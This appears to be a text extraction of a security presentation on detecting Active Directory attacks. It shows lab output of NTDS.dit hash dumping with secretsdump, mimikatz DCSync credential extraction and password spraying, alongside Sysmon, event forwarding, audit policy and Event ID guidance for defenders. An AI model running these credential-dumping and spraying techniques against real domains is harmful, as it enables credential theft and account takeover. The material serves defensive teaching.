Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
IFM media created successfully in c:\temp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
Dump Password Hashes from NTDS.dit

```
root@kali:/opt/impacket-0.9.11# secretsdump.py -system /opt/ntds/system.hive -ntds /opt/ntds/ntds.dit LOCAL
Impacket v0.9.11 - Copyright 2002-2014 Core Security Technologies

[*] Target system bootKey: 0x47f31387553b01e41a749186116575b
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xc84e1ce7a0a057df160a8d8f9b86d98c
[*] Reading and decrypting hashes from /opt/ntds/ntds.dit

ADSDC02$: 2101:aad3b435b51404eeaad3b435b51404ee:eaa5459f6664fe083b734a1798c9704e
ADSDC01$: 1000:aad3b435b51404eeaad3b435b51404ee:400c1c11151a3a988671069ef7fee58
ADSDC05$: 1004:aad3b435b51404eeaad3b435b51404ee:aabbc5e3df7bf11ebcad18b07a065d89
ADSDC04$: 1105:aad3b435b51404eeaad3b435b51404ee:840ca91da2670b6d5bd1927e6299f27
Guest: 501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
Administrator: 500:aad3b435b51404eeaad3b435b51404ee:7c08d63a2f48f045971bc2236ed3f3ac
krbtgt: 502:aad3b435b51404eeaad3b435b51404ee:8a2f1adccd519a2e515780021d2d178a
```

From Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Dump AD Credentials with Mimikatz

```
mimikatz # !lsadump::dcsync /domain:rd.adsecurity.org /d[DC] 'rd.adsecurity.org' will be the domain [DC] 'RDLABDC01.rd.adsecurity.org' will be the DC server [DC] 'Administrator' will be the user account
Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration : 9/7/2015 9:54:33 PM
Object Security ID : 5-1-5-21-2578996962-4185879466-3696909401-500
Object Relative ID : 500

Credentials:
Hash NTLM: 96ae239ae1f8f186a205b6863a3c955f
ntlm- 0: 96ae239ae1f8f186a205b6863a3c955f
ntlm- 1: 5164b7a0fda365d56739954bbbc23835
ntlm- 2: 7c08d63a32f48f045971bcb223ed3f3ac
lm - 0: 6cf3d31bccc30b3f5e7167efef10f46e49
lm - 1: d17266cc03fb143869304c6d3f30f8b8d

Supplemental Credentials:
* Primary: Kerberos-Newer-Keys *
Default Salt : RD.ADSECURITY.ORGAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 2394f3a0f5bc0b5779bf6c16e5d845e7862
aes128_hmac (4096) : f4d48292350fbc545f176d419afabf2b2
des_cbc_md5 (4096) : 5d8c9e46a4ad44ac
crc4_plain (4096) : 96ae239ae1f8f186a205b6863a3c955f
```
Improving Detection

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
<table>
<thead>
<tr>
<th>Keywords</th>
<th>Date and Time</th>
<th>Source</th>
<th>Event ID</th>
<th>Task Category</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audit Success</td>
<td>7/9/2016 7:30:53 AM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>7/9/2016 7:30:53 AM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/29/2016 8:01:53 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/29/2016 8:01:53 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:23:21 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:23:21 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:18:40 PM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:17:45 PM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:17:45 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:18:40 PM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:17:45 PM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>6/10/2016 8:17:45 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>5/30/2016 8:16:43 PM</td>
<td>Security-Auditing</td>
<td>4616</td>
<td>Security State Change</td>
</tr>
<tr>
<td>Audit Success</td>
<td>3/4/2016 5:40:03 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
<tr>
<td>Audit Success</td>
<td>3/3/2016 6:21:54 PM</td>
<td>Eventlog</td>
<td>1100</td>
<td>Service shutdown</td>
</tr>
</tbody>
</table>
Are We...

• Logging the correct type of data?
• Logging the correct Event IDs?
• Logging what’s needed on all types of systems?
• Forwarding log data to our central system (SIEM/Splunk)?
• Actually seeing these events in the central system?
• Correlating Event IDs to anomalous activity?

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
What is Normal?
What is Normal Anomalous?
Monitor Enterprise Command Line Activity

- Enable CMD Process logging & enhancement:
  - Windows 2003: Event ID 592
  - Windows 2008/Vista: Event ID 4688
  - Windows 7/2008R2 & KB3004375: Log process & child process

- Enable PowerShell module logging.

- Forward events to SIEM tool (use WEF as needed).

- Research the use of Sysmon for enhanced logging

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Microsoft Sysinternals System Monitor (Sysmon)

- Windows service with device driver (32 & 64 bit versions)
- Config data stored in HKLM\System\CCS\Services\SysmonDrv\Parameters
- Monitor:
  - Process activity with hashes (check hashes with VirusTotal)
  - Image loads (DLLs)
  - Driver loads (system drivers)
  - File creation time changes (may be attack activity, may be zip extraction)
  - Network connections (look for suspicious program activity)
  - RawAccess read (Invoke-Ninjacopy.ps1)
  - Sysmon service change
- Identify common attack activity
  - Monitor network activity for specific applications (notepad.exe)
  - Winlogon & LSASS injection
  - Ignore Microsoft signed image loads*

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Interesting Microsoft Binaries to Monitor

- ClickOnce Applications
  - dfsvc.exe (dfshim.dll)
- InstallUtil.exe
- Msbuild.exe
- Regsvr32.exe
- Rundll32.exe
- Bitsadmin.exe

https://github.com/subTee/ApplicationWhitelistBypassTechniques/blob/master/TheList.txt
PS C:\> c:\programs\sysmon64.exe -i -n -accepteula

System Monitor v6.01 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Sysmon installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon..
Sysmon started.

PS C:\> sysmon -c

System Monitor v6.01 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Current configuration:
- Service name:         Sysmon
- Driver name:          SysmonDrv
- Hashing Algorithms:   SHA1
- Network connection:   enabled
- Image Loading:        disabled
- CRL checking:         disabled
- Process Access:       disabled

No rules installed
Network connection detected:
UtcTime: 2017-04-19 21:12:15.334
ProcessGuid: {fe520315-d256-58f7-0000-000109e446e12}
ProcessId: 11712
Image: C:\Windows\System32\notepad.exe
User: \sean
Protocol: tcp
Initiated: true
SourceSsl: false
SourceIp: 172.16.23.213
SourceHostname: 
SourcePort: 62914
SourcePortName: 
DestinationSsl: false
DestinationIp: 151.101.32.133
DestinationHostname: 
DestinationPort: 443
DestinationPortName: https

PS C:\> ping raw.githubusercontent.com
Pinging github.map.fastly.net [151.101.32.133] with 32 bytes of data:
Reply from 151.101.32.133: bytes=32 time=16ms TTL=56
Reply from 151.101.32.133: bytes=32 time=114ms TTL=56
Reply from 151.101.32.133: bytes=32 time=40ms TTL=56
Reply from 151.101.32.133: bytes=32 time=18ms TTL=56

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Sysmon
Event ID: 3
Logged: 4/19/2017 5:12:16 PM
Task Category: Network connection detected (rule: NetworkConnect)
Windows Event Forwarding: WEF FTW!

• Configure WEF server by enabling WinRM (\winrm qc) & Event Collector service

• Configured clients via GPO
  • Computer>Policies>Admin Templates>Windows Components>Event Forwarding>Configure target subscription manager
  • Computer>Policies>Admin Templates>Windows Components>Event Log Service>Security> Configure log access

• Pros
  • No agent/certificates required (WinRM with Kerberos)
  • Configure WEF via Group Policy
  • Forward specific events to central logging server(s) then on to SIEM
  • GUI to configure events for WEF to push to collector (XML behind the scenes)

• Cons
  • Initial learning curve
  • Not fault tolerant (no, DNS RR doesn’t work)

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]

https://aka.ms/wef
Auditing for Attack Activity
Active Directory (DC) Logging

• Originally 9 audit settings.

• WinVista/2008+: Advanced Audit Policy Settings
  • 53 new settings provides more granular auditing.

• Win7/2008R2+: Special Logon auditing (Event ID 4694)
  • Track logons to the system by members of specific groups.
  • HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit registry
## Advanced Audit Policy Configuration

### Account Logon
- **Policy:**
  - Audit Credential Validation
  - Audit Kerberos Authentication Service
  - Audit Kerberos Service Ticket Operations
- **Setting:** Success, Failure

### Account Management
- **Policy:**
  - Audit Computer Account Management
  - Audit Other Account Management Events
  - Audit Security Group Management
  - Audit User Account Management
- **Setting:** Success, Failure

### Detailed Tracking
- **Policy:**
  - Audit DPAPI Activity
  - Audit Process Creation
- **Setting:** Success, Failure

### DS Access
- **Policy:**
  - Audit Directory Service Access
  - Audit Directory Service Changes
- **Setting:** Success, Failure

### Logon/Logoff
- **Policy:**
  - Audit Account Lockout
  - Audit Logoff
  - Audit Logon
  - Audit Other Logon/Logoff Events
  - Audit Special Logon
- **Setting:** Success, Failure

### Policy Change
- **Policy:**
  - Audit Audit Policy Change
  - Audit Authentication Policy Change
- **Setting:** Success, Failure
<table>
<thead>
<tr>
<th>Category/Subcategory</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>System</td>
<td></td>
</tr>
<tr>
<td>Security System Extension</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>System Integrity</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>IPsec Driver</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Other System Events</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Security State Change</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Logon/Logoff</td>
<td></td>
</tr>
<tr>
<td>Logon</td>
<td>Success</td>
</tr>
<tr>
<td>Logoff</td>
<td></td>
</tr>
<tr>
<td>Account Lockout</td>
<td>Success</td>
</tr>
<tr>
<td>IPsec Main Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>IPsec Quick Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>IPsec Extended Mode</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Special Logon</td>
<td></td>
</tr>
<tr>
<td>Other Logon/Logoff Events</td>
<td></td>
</tr>
<tr>
<td>Network Policy Server</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>User / Device Claims</td>
<td></td>
</tr>
<tr>
<td>Object Access</td>
<td></td>
</tr>
<tr>
<td>File System</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Registry</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Kernel Object</td>
<td>No Auditing</td>
</tr>
<tr>
<td>SAM</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Certification Services</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Application Generated</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Handle Manipulation</td>
<td>No Auditing</td>
</tr>
<tr>
<td>File Share</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Filtering Platform Packet Drop</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Filtering Platform Connection</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Other Object Access Events</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Detailed File Share</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Removable Storage</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Central Policy Staging</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Privilege Use</td>
<td></td>
</tr>
<tr>
<td>Non Sensitive Privilege Use</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Other Privilege Use Events</td>
<td>No Auditing</td>
</tr>
<tr>
<td>Sensitive Privilege Use</td>
<td>Success and Failure</td>
</tr>
<tr>
<td>Detailed Tracking</td>
<td></td>
</tr>
<tr>
<td>Process Creation</td>
<td></td>
</tr>
</tbody>
</table>

Sean Metcalf [Pyrotek3] sean@TrimarcSecurity.com
Recommended DC Auditing

• Account Logon
  • Audit Credential Validation: S&F
  • Audit Kerberos Authentication Service: S&F
  • Audit Kerberos Service Ticket Operations: Success & Failure

• Account Management
  • Audit Computer Account Management: S&F
  • Audit Other Account Management Events: S&F
  • Audit Security Group Management: S&F
  • Audit User Account Management: S&F

• Detailed Tracking
  • Audit DPAPI Activity: S&F
  • Audit Process Creation: S&F

• DS Access
  • Audit Directory Service Access: S&F
  • Audit Directory Service Changes: S&F

• Logon and Logoff
  • Audit Account Lockout: Success
  • Audit Logoff: Success
  • Audit Logon: S&F
  • Audit Special Logon: Success & Failure

• System
  • Audit IPsec Driver: S&F
  • Audit Security State Change: S&F
  • Audit Security System Extension: S&F
  • Audit System Integrity: S&F
Special Logon Auditing (Event ID 4964)

• Track logons to the system by members of specific groups (Win 7/2008 R2+)

• Events are logged on the system to which the user authenticates.

• HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit (Event ID 4908: updated table)
  • Local Accounts: S-1-5-113
  • Domain Admins: S-1-5-21-[DOMAIN]-512
  • Enterprise Admins: S-1-5-21-[FORESTROOTDOMAIN]-519
  • Custom Group: Create a new group
  • Administrators: S-1-5-32-544 (Could be noisy)

Audit Special Logon

Success and Failure

```powershell
PS C:\> (get-adgroup 'domain admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-512
PS C:\> (get-adgroup 'enterprise admins').sid.value
S-1-5-21-1093224735-1015166391-1317194548-519
PS C:\> (get-adgroup 'special group auditing').sid.value
S-1-5-21-1093224735-1015166391-1317194548-3680
```

Windows Settings

Registry

SpecialGroups (Order: 1)

<table>
<thead>
<tr>
<th>Action</th>
<th>Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Hive</td>
</tr>
<tr>
<td></td>
<td>Key path</td>
</tr>
<tr>
<td></td>
<td>Value name</td>
</tr>
<tr>
<td></td>
<td>Value type</td>
</tr>
<tr>
<td></td>
<td>Value data</td>
</tr>
</tbody>
</table>

HKEY_LOCAL_MACHINE

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Audit

SpecialGroups

REG_SZ

S-1-5-113:S-1-5-21-1093224735-1015166391-1317194548-512:S-1-5-21-1093224735-1015166391-1317194548-3680

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
Special Groups Logon table modified.

Special Groups:
- ADSECLAB\Enterprise Admins
- NT AUTHORITY\Local account
- ADSECLAB\Special Group Auditing
- ADSECLAB\Domain Admins

This event is generated when the list of special groups is modified. The updated list of special groups is indicated.

Log Name: Security
Source: Microsoft Windows security
Event ID: 4908
Level: Information
User: N/A
OpCode: Info

Special groups have been assigned to a new logon.

Subject:
- Security ID: SYSTEM
- Account Name: ADSMSRV1$
- Account Domain: ADSECLAB
- Logon ID: 0x3E7
- Logon GUID: {00000000-0000-0000-0000-000000000000}

New Logon:
- Security ID: ADSECLAB\lukeskywalker
- Account Name: lukeskywalker
- Account Domain: ADSECLAB
- Logon ID: 0x248A5
- Logon GUID: {7b7973d1-8d06-a421-7418-c2fce42ceec9}
- Special Groups Assigned:
  - ADSECLAB\Special Group Auditing
  - ADSECLAB\Domain Admins

Log Name: Security
Source: Microsoft Windows security
Event ID: 4964
Level: Information
User: N/A
OpCode: Info
# Event IDs that Matter: Domain Controllers

<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>4768</td>
<td>Kerberos auth ticket (TGT) was requested</td>
<td>Track user Kerb auth, with client/workstation name.</td>
</tr>
<tr>
<td>4769</td>
<td>User requests a Kerberos service ticket</td>
<td>Track user resource access requests &amp; Kerberoasting</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons</td>
</tr>
<tr>
<td>4625/4771</td>
<td>Logon failure</td>
<td>Interesting logon failures. 4771 with 0x18 = bad pw</td>
</tr>
<tr>
<td>4765/4766</td>
<td>SID History added to an account/attempt failed</td>
<td>If you aren’t actively migrating accounts between domains, this could be malicious</td>
</tr>
<tr>
<td>4794</td>
<td>DSRM account password change attempt</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4780</td>
<td>ACLs set on admin accounts</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4739/643</td>
<td>Domain Policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4713/617</td>
<td>Kerberos policy was changed</td>
<td>If this isn’t expected, could be malicious</td>
</tr>
<tr>
<td>4724/628</td>
<td>Attempt to reset an account's password</td>
<td>Monitor for admin &amp; sensitive account pw reset</td>
</tr>
<tr>
<td>4735/639</td>
<td>Security-enabled local group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4737/641</td>
<td>Security-enabled global group changed</td>
<td>Monitor admin/sensitive group membership changes</td>
</tr>
<tr>
<td>4755/659</td>
<td>Security-enabled universal group changed</td>
<td>Monitor admin &amp; sensitive group membership changes</td>
</tr>
<tr>
<td>5136</td>
<td>A directory service object was modified</td>
<td>Monitor for GPO changes, admin account modification, specific user attribute modification, etc.</td>
</tr>
</tbody>
</table>

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
# Event IDs that Matter: All Windows systems

<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>1102/517</td>
<td>Event log cleared</td>
<td>Attackers may clear Windows event logs.</td>
</tr>
<tr>
<td>4610/4611/4614/4622</td>
<td>Local Security Authority modification</td>
<td>Attackers may modify LSA for escalation/persistence.</td>
</tr>
<tr>
<td>4648</td>
<td>Explicit credential logon</td>
<td>Typically when a logged on user provides different credentials to access a resource. Requires filtering of “normal”.</td>
</tr>
<tr>
<td>4661</td>
<td>A handle to an object was requested</td>
<td>SAM/DSA Access. Requires filtering of “normal”</td>
</tr>
<tr>
<td>4672</td>
<td>Special privileges assigned to new logon</td>
<td>Monitor when someone with admin rights logs on. Is this an account that should have admin rights or a normal user?</td>
</tr>
<tr>
<td>4723</td>
<td>Account password change attempted</td>
<td>If it’s not an approved/known pw change, you should know.</td>
</tr>
<tr>
<td>4964</td>
<td>Custom Special Group logon tracking</td>
<td>Track admin &amp; “users of interest” logons.</td>
</tr>
<tr>
<td>7045/4697</td>
<td>New service was installed</td>
<td>Attackers often install a new service for persistence.</td>
</tr>
<tr>
<td>4698 &amp; 4702</td>
<td>Scheduled task creation/modification</td>
<td>Attackers often create/modify scheduled tasks for persistence. Pull all events in Microsoft-Windows-TaskScheduler/Operational</td>
</tr>
<tr>
<td>4719/612</td>
<td>System audit policy was changed</td>
<td>Attackers may modify the system’s audit policy.</td>
</tr>
<tr>
<td>4732</td>
<td>A member was added to a (security-enabled) local group</td>
<td>Attackers may create a new local account &amp; add it to the local Administrators group.</td>
</tr>
<tr>
<td>4720</td>
<td>A (local) user account was created</td>
<td>Attackers may create a new local account for persistence.</td>
</tr>
</tbody>
</table>

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
## Event IDs that Matter (Newer Windows systems)

<table>
<thead>
<tr>
<th>EventID</th>
<th>Description</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>3065/3066</td>
<td>LSASS Auditing – checks for code integrity</td>
<td>Monitors LSA drivers &amp; plugins. Test extensively before deploying!</td>
</tr>
<tr>
<td>3033/3063</td>
<td>LSA Protection – drivers that failed to load</td>
<td>Monitors LSA drivers &amp; plugins &amp; blocks ones that aren’t properly signed.</td>
</tr>
<tr>
<td>4798</td>
<td>A user's local group membership was enumerated.</td>
<td>Potentially recon activity of local group membership. Filter out normal activity.</td>
</tr>
</tbody>
</table>

LSA Protection & Auditing (Windows 8.1/2012R2 and newer):

4798: A user's local group membership was enumerated (Windows 10/2016):
## A Note About Logon Types (4624)

<table>
<thead>
<tr>
<th>Logon Type #</th>
<th>Name</th>
<th>Description</th>
<th>Creds on Disk</th>
<th>Creds in Memory</th>
<th>Distribution</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>System</td>
<td>Typically rare, but could alert to malicious activity</td>
<td>Yes</td>
<td>Yes</td>
<td>*</td>
</tr>
<tr>
<td>2</td>
<td>Interactive</td>
<td>Console logon (local keyboard) which includes server KVM or virtual client logon. Also standard RunAs.</td>
<td>No</td>
<td>Yes</td>
<td>#5 / 0%</td>
</tr>
<tr>
<td>3</td>
<td>Network</td>
<td>Accessing file shares, printers, IIS (integrated auth, etc), PowerShell remoting</td>
<td>No</td>
<td>No</td>
<td>#1 / ~80%</td>
</tr>
<tr>
<td>4</td>
<td>Batch</td>
<td>Scheduled tasks</td>
<td>Yes</td>
<td>Yes</td>
<td>#7 / 0%</td>
</tr>
<tr>
<td>5</td>
<td>Service</td>
<td>Services</td>
<td>Yes</td>
<td>Yes</td>
<td>#4 / &lt;1%</td>
</tr>
<tr>
<td>7</td>
<td>Unlock</td>
<td>Unlock the system</td>
<td>No</td>
<td>Yes</td>
<td>#6 / &lt;1%</td>
</tr>
<tr>
<td>8</td>
<td>Network Clear Text</td>
<td>Network logon with password in clear text (IIS basic auth). If over SSL/TLS, this is probably fine.</td>
<td>Maybe</td>
<td>Yes</td>
<td>#2 / ~15%</td>
</tr>
<tr>
<td>9</td>
<td>New Credentials</td>
<td>RunAs /NetOnly which starts a program with different credentials than logged on user</td>
<td>No</td>
<td>Yes</td>
<td>#3 / &lt; 1%</td>
</tr>
<tr>
<td>10</td>
<td>Remote Interactive</td>
<td>RDP: Terminal Services, Remote Assistance, R.Desktop</td>
<td>Maybe</td>
<td>Yes*</td>
<td>#9 / 0%</td>
</tr>
<tr>
<td>11</td>
<td>Cached Interactive</td>
<td>Logon with cached credentials (no DC online)</td>
<td>Yes</td>
<td>Yes</td>
<td>#8 / 0%</td>
</tr>
</tbody>
</table>

Sean Metcalf [@Pyrotek3 | sean@TrimarcSecurity.com]
“Password Spraying”

• Automated password guessing against all users to avoid lockout.
• Attempts logon with password(s) against each user, then moves on to the next one.

```
PS C:\> Get-ADDefaultDomainPasswordPolicy

ComplexityEnabled        : True
DistinguishedName        : DC=lab,DC=adsecurity,DC=org
LockoutDuration          : 00:30:00
LockoutObservationWindow : 00:30:00
LockoutThreshold         : 5
MaxPasswordAge           : 42.00:00:00:00
MinPasswordAge           : 1.00:00:00:00
MinPasswordLength        : 7
objectClass              : {domainDNS}
objectGuid                : e7f11f35-bd99-476b-bada-08c31c5a5b20
PasswordHistoryCount     : 24
ReversibleEncryptionEnabled : False
```
“Password Spraying”

• Connect to SMB share or network service
• Let’s start with connections to the PDC’s NETLOGON share...

Password Spraying against 1892 users
User ADSECLAB\Christopher.Kelly has the password Password1
User ADSECLAB\Cameron.Long has the password Password1
User ADSECLAB\Nicholas.Davis has the password Password1
User ADSECLAB\Connor.Moore has the password Password1
User ADSECLAB\Bryce.Torres has the password P@sswOrd
User ADSECLAB\Olivia.Bryant has the password P@sswOrd
User ADSECLAB\Victoria.Young has the password P@sswOrd
User ADSECLAB\Joseph.Rodriguez has the password P@sswOrd
User ADSECLAB\Audrey.Lee has the password Password99!
User ADSECLAB\Landon.Lewis has the password Password99!
User ADSECLAB\Blake.Carter has the password Password1234
User ADSECLAB\Alexis.Phillips has the password Password1
<table>
<thead>
<tr>
<th>name</th>
<th>Last Bad Password Attempt</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSAdministrator</td>
<td>4/11/2017 7:18:11 PM</td>
</tr>
<tr>
<td>Guest</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>DefaultAccount</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>krbtgt</td>
<td>4/11/2017 5:05:58 PM</td>
</tr>
<tr>
<td>Brandon.Young</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>Liam.Moore</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>Michael.Evans</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>Julia.Morgan</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>Jack.Collins</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>Paige.Foster</td>
<td>4/11/2017 7:18:12 PM</td>
</tr>
<tr>
<td>CharlieSanders</td>
<td>4/11/2017 7:18:13 PM</td>
</tr>
<tr>
<td>Ryder.Howard</td>
<td>4/11/2017 7:18:13 PM</td>
</tr>
<tr>
<td>Bentley.Collins</td>
<td>4/11/2017 7:18:13 PM</td>
</tr>
<tr>
<td>Abigail.Miller</td>
<td>4/11/2017 7:18:13 PM</td>
</tr>
<tr>
<td>Adrian.Thompson</td>
<td>4/11/2017 7:18:13 PM</td>
</tr>
<tr>
<td>David.Bennett</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Asher.Alexander</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Sydney.Taylor</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Riley.Hill</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Charlotte.Hayes</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Oliver.Cook</td>
<td>4/11/2017 7:18:14 PM</td>
</tr>
<tr>
<td>Eva.Adams</td>
<td>4/11/2017 7:18:15 PM</td>
</tr>
<tr>
<td>Samuel.Cook</td>
<td>4/11/2017 7:18:15 PM</td>
</tr>
<tr>
<td>Paige.Perez</td>
<td>4/11/2017 7:18:15 PM</td>
</tr>
<tr>
<td>Parker.Foster</td>
<td>4/11/2017 7:18:15 PM</td>
</tr>
</tbody>
</table>

An account failed to log on.

Subject:

- Security ID: NULL SID
- Account Name: 
- Account Domain: 
- Logon ID: 0x0
- Logon Type: 3

Account For Which Logon Failed:

- Security ID: NULL SID
- Account Name: Michael.Thompson@lab.adsecurity.org
- Account Domain: 

Failure Information:

- Failure Reason: Unknown user name or bad password.
- Status: 0xC000008D
- Sub Status: 0xC000006A

Process Information:

- Caller Process ID: 0x0

Log Name: Security

Source: Microsoft Windows security

Date and Time: 4/11/2017 1:35:45 PM

Event ID: 4625

Task Category: Logon

Level: Information
Switch from Network Share to AD Connection

<table>
<thead>
<tr>
<th>Keywords</th>
<th>Date and Time</th>
<th>Source</th>
<th>Event ID</th>
<th>Task Category</th>
</tr>
</thead>
</table>

Filtered: Log: Security; Source: ; Event ID: 4625. Number of events: 0
### Password Spraying against 1892 users

<table>
<thead>
<tr>
<th>User</th>
<th>Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADSECLAB\Christopher.Kelly</td>
<td>Password1</td>
</tr>
<tr>
<td>ADSECLAB\Cameron.Long</td>
<td>Password1</td>
</tr>
<tr>
<td>ADSECLAB\Nicholas.Davis</td>
<td>Password1</td>
</tr>
<tr>
<td>ADSECLAB\Connor.Moore</td>
<td>Password1</td>
</tr>
<tr>
<td>ADSECLAB\Bryce.Torres</td>
<td>Password1</td>
</tr>
<tr>
<td>ADSECLAB\Olivia.Bryant</td>
<td>P@sswOrd</td>
</tr>
<tr>
<td>ADSECLAB\Victoria.Young</td>
<td>P@sswOrd</td>
</tr>
<tr>
<td>ADSECLAB\Joseph.Rodriguez</td>
<td>P@sswOrd</td>
</tr>
<tr>
<td>ADSECLAB\Audrey.Lee</td>
<td>Password99!</td>
</tr>
<tr>
<td>ADSECLAB\Landon.Lewis</td>
<td>Password99!</td>
</tr>
</tbody>
</table>

---

### Keywords and Event IDs

<table>
<thead>
<tr>
<th>Keywords</th>
<th>Date and Time</th>
<th>Source</th>
<th>Event ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
<td>Audit Failure</td>
<td>4/11/2017 10:21:54 PM</td>
<td>Microsoft Win...</td>
<td>4771</td>
</tr>
<tr>
